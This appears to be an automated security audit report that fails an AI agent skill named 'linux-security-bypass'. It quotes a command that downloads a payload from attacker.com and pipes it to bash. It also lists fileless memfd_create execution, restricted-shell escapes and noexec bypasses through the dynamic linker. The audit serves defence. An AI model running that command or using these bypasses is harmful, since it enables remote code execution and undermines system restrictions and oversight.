linux-security-bypass
Fail
Audited by Gen Agent Trust Hub on Sep 26, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDYNAMIC_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill contains a specific command in section 2.1 that downloads content from an external domain and pipes it directly into the shell for execution:
curl -sL https://attacker.com/payload | bash ddexec.sh. - [DYNAMIC_EXECUTION]: Section 2.2 provides a Python script designed for fileless execution using the
memfd_createsystem call viactypes.CDLL("libc.so.6"). This technique is used to execute binaries directly from memory, bypassingnoexecfilesystem restrictions. - [COMMAND_EXECUTION]: The skill documents multiple techniques to escape restricted shells (
rbash) by abusing system editors (vi,ed), language interpreters (Python, Perl, Ruby, Node.js, AWK), and environment variables to spawn unrestricted shells. - [DYNAMIC_EXECUTION]: Section 2.3 details a method to bypass execution restrictions by invoking the dynamic linker (
/lib64/ld-linux-x86-64.so.2) directly to execute binaries located onnoexecmounts.
Recommendations
- HIGH: Downloads and executes remote code from: https://attacker.com/payload - DO NOT USE without thorough review
- AI detected serious security threats
Audit Metadata